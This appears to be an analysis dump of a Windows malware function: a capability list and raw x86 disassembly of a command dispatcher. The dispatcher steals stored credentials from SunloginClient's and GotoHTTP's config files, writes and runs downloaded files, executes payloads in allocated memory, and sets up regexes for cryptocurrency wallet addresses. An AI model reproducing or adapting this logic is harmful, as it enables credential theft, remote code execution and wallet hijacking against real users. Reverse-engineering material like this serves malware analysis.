Function at 0x1000eeb5
Capabilities:
Create process on windows
Get common file path
Read .ini file
Write and execute a file
Write file on windows

Disassembly:
push 0x5e8
mov eax, 0x1011e9f0
call fcn.10102616
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x5ec], eax
movzx eax, byte [edi]
mov esi, ecx
mov dword [ebp - 0x5e8], edi
cmp eax, 0x15
jg 0x1000f08b
je 0x1000f055
cmp eax, 0xb
jg 0x1000efd7
je 0x1000efbf
xor ebx, ebx
sub eax, ebx
je case.0x1000f9c6.91
dec eax
je 0x1000efa9
sub eax, 3
je 0x1000ef60
sub eax, 4
je 0x1000ef4a
dec eax
je 0x1000ef34
dec eax
jne case.0x1000f9c6.82
mov eax, dword [esi + 4]
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x10007930
jmp 0x1000f069
mov eax, dword [esi + 4]
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x10007909
jmp 0x1000f069
mov eax, dword [esi + 4]
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x100078f9
jmp 0x1000f069
push ebx
push ebx
push ebx
lea eax, [ebp - 0x5e8]
push eax
push 0x10007a41
push ebx
push ebx
mov dword [ebp - 0x5e8], edi
call fcn.10011e49
mov ecx, dword [esi + 0x9e58]
add esp, 0x1c
mov dword [esi + ecx*4 + 0x218], eax
inc dword [esi + 0x9e58]
jmp 0x1000ef9c
push 3
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x5e8], ebx
jne 0x1000ef94
jmp case.0x1000f9c6.82
mov eax, dword [esi + 4]
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x1000adef
jmp 0x1000f069
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x10007957
jmp 0x1000f069
sub eax, 0xc
je 0x1000f040
dec eax
je 0x1000f02b
dec eax
je 0x1000f016
dec eax
je 0x1000f001
dec eax
jne case.0x1000f9c6.82
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x10007a1a
jmp 0x1000f069
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x100079f3
jmp 0x1000f069
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x100079cc
jmp 0x1000f069
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x100079a5
jmp 0x1000f069
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x1000797e
jmp 0x1000f069
mov eax, dword [esi + 4]
push 1
xor ebx, ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x1000b006
push ebx
push ebx
call fcn.10011e49
add esp, 0x1c
mov ecx, dword [esi + 0x9e58]
mov dword [esi + ecx*4 + 0x218], eax
inc dword [esi + 0x9e58]
jmp case.0x1000f9c6.82
cmp eax, 0x4d
jg 0x1000f9ba
je 0x1000f803
cmp eax, 0x36
jg 0x1000f1b1
je 0x1000f199
sub eax, 0x1f
je 0x1000f180
sub eax, 0xa
je 0x1000f167
dec eax
je 0x1000f14e
sub eax, 4
je 0x1000f100
sub eax, 6
je 0x1000f0e8
dec eax
jne case.0x1000f9c6.82
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x1000aecf
jmp 0x1000f069
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x1000ae7f
jmp 0x1000f069
push 1
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x1000c20c
push ebx
push ebx
call fcn.10011e49
mov eax, dword [esi + 4]
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x100072d5
push ebx
push ebx
call fcn.10011e49
mov ecx, dword [esi + 0x9e58]
add esp, 0x38
mov dword [esi + ecx*4 + 0x218], eax
inc dword [esi + 0x9e58]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp case.0x1000f9c6.82
mov eax, dword [esi + 4]
push 1
xor ebx, ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x1000b0ea
jmp 0x1000f069
mov eax, dword [esi + 4]
push 1
xor ebx, ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x1000b09e
jmp 0x1000f069
mov eax, dword [esi + 4]
push 1
xor ebx, ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x1000b052
jmp 0x1000f069
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x1000af1c
jmp 0x1000f069
sub eax, 0x37
je 0x1000f7eb
dec eax
je 0x1000f7d3
sub eax, 0x12
je 0x1000f7c1
dec eax
je 0x1000f5e2
dec eax
jne case.0x1000f9c6.82
xor ebx, ebx
mov edi, 0x1012db24
push str.xrk.exe
lea ecx, [ebp - 0x64]
call fcn.1000b46e
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 4], 3
call fcn.10009226
pop ecx
cmp al, bl
je 0x1000f3b6
lea eax, [ebp - 0x5f0]
push eax
push ebx
push ebx
push 0x10156c58
mov dword [ebp - 0x5f0], ebx
call sub.SHELL32.dll_SHGetKnownFolderPath
push dword [ebp - 0x5f0]
lea ecx, [ebp - 0x48]
call fcn.1000b4c2
push str.Oray
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 4
call fcn.1000b4c2
push str.SunloginClient
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 5
call fcn.1000b4c2
push str.config.ini
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 6
call fcn.1000b4c2
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0xf0]
push edi
push eax
mov byte [ebp - 4], 7
call fcn.1000c34d
push edi
push eax
lea eax, [ebp - 0x128]
push eax
mov byte [ebp - 4], 8
call fcn.1000c3bb
lea ecx, [ebp - 0x9c]
push ecx
push eax
lea eax, [ebp - 0x198]
push eax
mov byte [ebp - 4], 9
call fcn.1000c3e6
push edi
push eax
lea eax, [ebp - 0x160]
push eax
mov byte [ebp - 4], 0xa
call fcn.1000c3bb
lea ecx, [ebp - 0x80]
push ecx
push eax
lea eax, [ebp - 0xd4]
push eax
mov byte [ebp - 4], 0xb
call fcn.1000c3e6
add esp, 0x3c
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0xc
call fcn.1000a701
push ebx
push 1
lea ecx, [ebp - 0xd4]
call fcn.10008a3d
push ebx
push 1
lea ecx, [ebp - 0x160]
call fcn.10008a3d
push ebx
push 1
lea ecx, [ebp - 0x198]
call fcn.10008a3d
push ebx
push 1
lea ecx, [ebp - 0x128]
call fcn.10008a3d
push ebx
push 1
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 7
call fcn.10008a3d
cmp dword [ebp - 0x34], 8
mov ecx, dword [ebp - 0x48]
mov eax, ecx
jae 0x1000f339
lea eax, [ebp - 0x48]
cmp dword [ebp - 0x34], 8
mov edx, dword [ebp - 0x38]
lea eax, [eax + edx*2]
jae 0x1000f348
lea ecx, [ebp - 0x48]
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.1000b1bc
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], 0xd
jae 0x1000f362
lea eax, [ebp - 0x2c]
push ebx
push eax
call fcn.10105144
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x1000f482
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.10009345
push ebx
push 1
lea ecx, [ebp - 0x80]
call fcn.10008a3d
push ebx
push 1
lea ecx, [ebp - 0x9c]
call fcn.10008a3d
push ebx
push 1
lea ecx, [ebp - 0xb8]
call fcn.10008a3d
push ebx
push 1
lea ecx, [ebp - 0x48]
call fcn.10008a3d
jmp 0x1000f46e
push 0x65
push dword [ebp - 0x5e8]
lea eax, [ebp - 0x21c]
push eax
call fcn.10102780
add esp, 0xc
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
lea eax, [ebp - 0x21b]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x5f0], eax
push ebx
cmp eax, 0xffffffff
je 0x1000f5da
lea eax, [ebp - 0x5f4]
push eax
mov eax, dword [ebp - 0x5ec]
add eax, 0xffffff9b
push eax
mov eax, dword [ebp - 0x5e8]
add eax, 0x65
push eax
push dword [ebp - 0x5f0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000f5d9
push dword [ebp - 0x5f0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x21b]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1012dac0
push str.32770
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, ebx
je 0x1000f447
push ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x64]
call fcn.10009345
jmp 0x1000f1df
call fcn.1001523e
push eax
lea ecx, [ebp - 0x5ec]
call fcn.1000894f
mov byte [ebp - 4], 0xe
call fcn.1001523e
push eax
lea ecx, [ebp - 0x5e8]
call fcn.1000894f
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], 0xf
jae 0x1000f4b8
lea eax, [ebp - 0x2c]
push eax
mov edi, 0x104
push edi
push edi
lea ecx, [ebp - 0x5ec]
call fcn.1000930c
push eax
push 0x1015a833
push str.fastcode
push str.base
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x1000f4ed
lea eax, [ebp - 0x2c]
push eax
push edi
push edi
lea ecx, [ebp - 0x5e8]
call fcn.1000930c
push eax
push 0x1015a833
push str.password
push str.base
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xc9
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp - 0x5ec]
mov edi, eax
lea eax, [ebp - 0x2e4]
push eax
mov byte [edi], 0x99
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp - 0x5e8]
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xc8
lea eax, [ebp - 0x2e4]
push eax
lea eax, [edi + 1]
push eax
call fcn.10102780
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_LocalSize]
push eax
push edi
mov ecx, esi
call fcn.1000fe09
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x5e8]
add ecx, 0xfffffff0
call fcn.10006dee
mov ecx, dword [ebp - 0x5ec]
add ecx, 0xfffffff0
call fcn.10006dee
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0x2c]
call fcn.10009345
push ebx
push esi
lea ecx, [ebp - 0x80]
call fcn.10008a3d
push ebx
push esi
lea ecx, [ebp - 0x9c]
call fcn.10008a3d
push ebx
push esi
lea ecx, [ebp - 0xb8]
call fcn.10008a3d
push ebx
push esi
lea ecx, [ebp - 0x48]
call fcn.10008a3d
push ebx
push esi
lea ecx, [ebp - 0x64]
jmp 0x1000f724
push ebx
lea ecx, [ebp - 0x64]
jmp 0x1000f722
xor ebx, ebx
push str.Systen.exe
lea ecx, [ebp - 0x2c]
call fcn.1000b46e
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 4], ebx
call fcn.10009226
pop ecx
cmp al, bl
je 0x1000f72e
push ebx
push str.C:ProgramDatagotohttp.ini
call fcn.10105144
pop ecx
pop ecx
cmp eax, 0xffffffff
je 0x1000f7ad
call fcn.1001523e
push eax
lea ecx, [ebp - 0x5e8]
call fcn.1000894f
mov byte [ebp - 4], 1
call fcn.1001523e
push eax
lea ecx, [ebp - 0x5ec]
call fcn.1000894f
push str.C:ProgramDatagotohttp.ini
mov edi, 0x104
push edi
push edi
lea ecx, [ebp - 0x5e8]
mov byte [ebp - 4], 2
call fcn.1000930c
push eax
push 0x1015a833
push str.name
push str.general
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push str.C:ProgramDatagotohttp.ini
push edi
push edi
lea ecx, [ebp - 0x5ec]
call fcn.1000930c
push eax
push 0x1015a833
push 0x1012da5c
push str.general
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xc9
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp - 0x5e8]
mov edi, eax
lea eax, [ebp - 0x2e4]
push eax
mov byte [edi], 0x98
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp - 0x5ec]
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xc8
lea eax, [ebp - 0x2e4]
push eax
lea eax, [edi + 1]
push eax
call fcn.10102780
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_LocalSize]
push eax
push edi
mov ecx, esi
call fcn.1000fe09
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x5ec]
add ecx, 0xfffffff0
call fcn.10006dee
mov ecx, dword [ebp - 0x5e8]
add ecx, 0xfffffff0
call fcn.10006dee
push ebx
lea ecx, [ebp - 0x2c]
push 1
call fcn.10009345
jmp case.0x1000f9c6.82
push 0x65
lea eax, [ebp - 0x21c]
push edi
push eax
call fcn.10102780
add esp, 0xc
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
lea eax, [ebp - 0x21b]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x5f0], eax
push ebx
cmp eax, 0xffffffff
je 0x1000f71f
lea eax, [ebp - 0x5f4]
push eax
mov eax, dword [ebp - 0x5ec]
add eax, 0xffffff9b
push eax
lea eax, [edi + 0x65]
push eax
push dword [ebp - 0x5f0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000f71e
push dword [ebp - 0x5f0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
push ebx
push ebx
lea eax, [ebp - 0x21b]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.10009345
jmp 0x1000f5e4
push 1
xor ebx, ebx
push ebx
push ebx
inc edi
push edi
push 0x10007608
jmp 0x1000f069
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x1000afbc
jmp 0x1000f069
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x1000af73
jmp 0x1000f069
push 0x2fd
lea eax, [edi + 1]
push eax
lea eax, [ebp - 0x5e4]
push eax
call fcn.10102780
add esp, 0xc
lea eax, [ebp - 0x5e4]
push eax
lea ecx, [ebp - 0x1b4]
call fcn.1000b46e
lea eax, [ebp - 0x4e5]
push eax
lea ecx, [ebp - 0x17c]
mov dword [ebp - 4], 0x10
call fcn.1000b46e
lea eax, [ebp - 0x3e6]
push eax
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 0x11
call fcn.1000b46e
lea eax, [ebp - 0x4e5]
push eax
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 0x12
call fcn.1000b46e
lea eax, [ebp - 0x4e5]
push eax
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0x13
call fcn.1000b46e
xor ebx, ebx
inc ebx
push ebx
push str.1_0_9A_Za_z_33_
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x14
call fcn.1000ea45
push ebx
push str.0x_0_9A_Fa_f_40_
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x15
call fcn.1000ea45
push ebx
push str.T_0_9A_Za_z_33_
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x16
call fcn.1000ea45
push ebx
push str._0x_0_9a_fA_F_40_
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x17
call fcn.1000ea45
push ebx
push str.___13_bc1__a_zA_Z0_9_26_34_
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x18
call fcn.1000ea45
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x19
call fcn.1000810b
lea ecx, [ebp - 0x84]
call fcn.10006ef1
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x1a
call fcn.1000810b
lea ecx, [ebp - 0x68]
call fcn.10006ef1
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x58]
call fcn.1000810b
lea ecx, [ebp - 0x4c]
call fcn.10006ef1
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x1c
call fcn.1000810b
lea ecx, [ebp - 0x30]
call fcn.10006ef1
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x1d
call fcn.1000810b
lea ecx, [ebp - 0x14]
call fcn.10006ef1
xor ebx, ebx
push ebx
push 1
lea ecx, [ebp - 0xb8]
call fcn.10009345
push ebx
push 1
lea ecx, [ebp - 0x10c]
call fcn.10009345
push ebx
push 1
lea ecx, [ebp - 0x144]
call fcn.10009345
push ebx
push 1
lea ecx, [ebp - 0x17c]
call fcn.10009345
push ebx
push 1
lea ecx, [ebp - 0x1b4]
call fcn.10009345
push 0x2fd
inc edi
push edi
push 0x1017b2c8
call fcn.10102780
add esp, 0xc
mov ecx, esi
call fcn.1000ee8c
jmp case.0x1000f9c6.82
sub eax, 0x4e
cmp eax, 0xf
ja case.0x1000f9c6.82
jmp dword [eax*4 + 0x1000fac9]
mov eax, dword [esi + 4]
push 1
xor ebx, ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x1000ae35
jmp 0x1000f069
call fcn.10007e0b
jmp case.0x1000f9c6.82
mov dword [0x1017450c], 3
call fcn.10007fcb
jmp case.0x1000f9c6.82
call fcn.10007fa3
jmp case.0x1000f9c6.82
mov eax, dword [esi + 4]
push 1
xor ebx, ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x1000b136
jmp 0x1000f069
mov eax, dword [ebp - 0x5ec]
push 4
dec eax
push 0x3000
push eax
xor ebx, ebx
push ebx
mov dword [ebp - 0x5ec], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x5f0], eax
cmp eax, ebx
je case.0x1000f9c6.82
push dword [ebp - 0x5ec]
inc edi
push edi
push eax
call fcn.10102780
push 1
push ebx
push ebx
push dword [ebp - 0x5f0]
push 0x100073e0
push ebx
push ebx
call fcn.10011e49
add esp, 0x28
jmp 0x1000f073
call fcn.10008005
jmp case.0x1000f9c6.82
movzx eax, byte [edi + 1]
push eax
call fcn.100088a8
jmp case.0x1000f9c6.82
inc edi
add esi, 0x114
push edi
push esi
call fcn.10007b78
pop ecx
pop ecx
jmp case.0x1000f9c6.82
inc edi
add esi, 0x114
push edi
push esi
call fcn.10007bb3
jmp 0x1000fa9c
push 1
add esi, 0x214
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call fcn.10102699
ret 8